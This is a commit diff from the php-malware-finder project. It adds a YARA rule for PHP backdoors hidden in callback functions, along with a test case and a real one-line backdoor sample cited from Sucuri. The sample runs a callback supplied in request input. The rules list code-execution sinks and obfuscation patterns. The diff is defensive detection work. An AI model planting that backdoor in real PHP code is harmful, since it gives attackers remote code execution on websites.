diff options
| author | Julien (jvoisin) Voisin | 2016-06-27 16:54:06 +0200 |
|---|---|---|
| committer | Julien (jvoisin) Voisin | 2016-06-27 16:54:06 +0200 |
| commit | 8aaead7501c9d3b72b7660c39fb0cdfdbbc2a62d (patch) | |
| tree | bdaa70ea780b5ab843a485b420ee98749b7d81a5 | |
| parent | c97707653e73f44d21dc44b77c1eec7b27293d1a (diff) | |
Add detection for a callback-based malwares
| -rw-r--r-- | php-malware-finder/php.yar | 3 | ||||
| -rw-r--r-- | php-malware-finder/samples/real/sucuri_2014_04.php | 3 | ||||
| -rwxr-xr-x | php-malware-finder/tests.sh | 3 |
3 files changed, 8 insertions, 1 deletions
diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar index ab63da5..1659754 100644 --- a/php-malware-finder/php.yar +++ b/php-malware-finder/php.yar | |||
| @@ -76,8 +76,9 @@ rule DodgyPhp | |||
| 76 | $basedir_bypass = /curl_init\s*\(\s*["']file:\/\// | 76 | $basedir_bypass = /curl_init\s*\(\s*["']file:\/\// |
| 77 | $basedir_bypass2 = "file:file:///" // https://www.intelligentexploit.com/view-details.html?id=8719 | 77 | $basedir_bypass2 = "file:file:///" // https://www.intelligentexploit.com/view-details.html?id=8719 |
| 78 | $disable_magic_quotes = /set_magic_quotes_runtime\s*\(\s*0/ | 78 | $disable_magic_quotes = /set_magic_quotes_runtime\s*\(\s*0/ |
| 79 | $execution = /(eval|assert|passthru|exec|include|system|pcntl_exec|shell_execute|base64_decode|`|array_map|call_user_func(_array)?)\s*\(\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE))/ nocase | 79 | $execution = /(eval|assert|passthru|exec|include|system|pcntl_exec|shell_execute|base64_decode|`|array_map|call_user_func(_array)?)\s*\(\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE))/ nocase // function that takes a callback as 1st parameter |
| 80 | $execution2 = /(array_filter|array_reduce|array_walk(_recursive)?|array_walk|assert_options|uasort|uksort|usort|preg_replace_callback|iterator_apply)\s*\(\s*[^,]+,\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE))/ nocase // functions that takes a callback as 2nd parameter | 80 | $execution2 = /(array_filter|array_reduce|array_walk(_recursive)?|array_walk|assert_options|uasort|uksort|usort|preg_replace_callback|iterator_apply)\s*\(\s*[^,]+,\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE))/ nocase // functions that takes a callback as 2nd parameter |
| 81 | $execution3 = /(array_(diff|intersect)_u(key|assoc)|array_udiff)\s*\(\s*([^,]+\s*,?)+\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE))\s*\[[^]]+\]\s*\)+\s*;/ nocase // functions that takes a callback as 2nd parameter | ||
| 81 | 82 | ||
| 82 | $htaccess = "SetHandler application/x-httpd-php" | 83 | $htaccess = "SetHandler application/x-httpd-php" |
| 83 | $iis_com = /IIS:\/\/localhost\/w3svc/ | 84 | $iis_com = /IIS:\/\/localhost\/w3svc/ |
diff --git a/php-malware-finder/samples/real/sucuri_2014_04.php b/php-malware-finder/samples/real/sucuri_2014_04.php new file mode 100644 index 0000000..64bfa07 --- /dev/null +++ b/php-malware-finder/samples/real/sucuri_2014_04.php | |||
| @@ -0,0 +1,3 @@ | |||
| 1 | <?php | ||
| 2 | /* https://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html */ | ||
| 3 | @array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); | ||
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index 42c2456..6928e65 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh | |||
| @@ -88,6 +88,9 @@ run_test artificial/bypasses.php 'DodgyPhp' | |||
| 88 | run_test artificial/bypasses.php '0x6d:$execution: call_user_func_array($_POST' | 88 | run_test artificial/bypasses.php '0x6d:$execution: call_user_func_array($_POST' |
| 89 | run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" | 89 | run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" |
| 90 | 90 | ||
| 91 | # real | ||
| 92 | run_test real/sucuri_2014_04.php '0x67:$execution3:' | ||
| 93 | |||
| 91 | # Asp files | 94 | # Asp files |
| 92 | run_test_asp classic/cmdasp.asp 'DodgyStrings' | 95 | run_test_asp classic/cmdasp.asp 'DodgyStrings' |
| 93 | 96 | ||
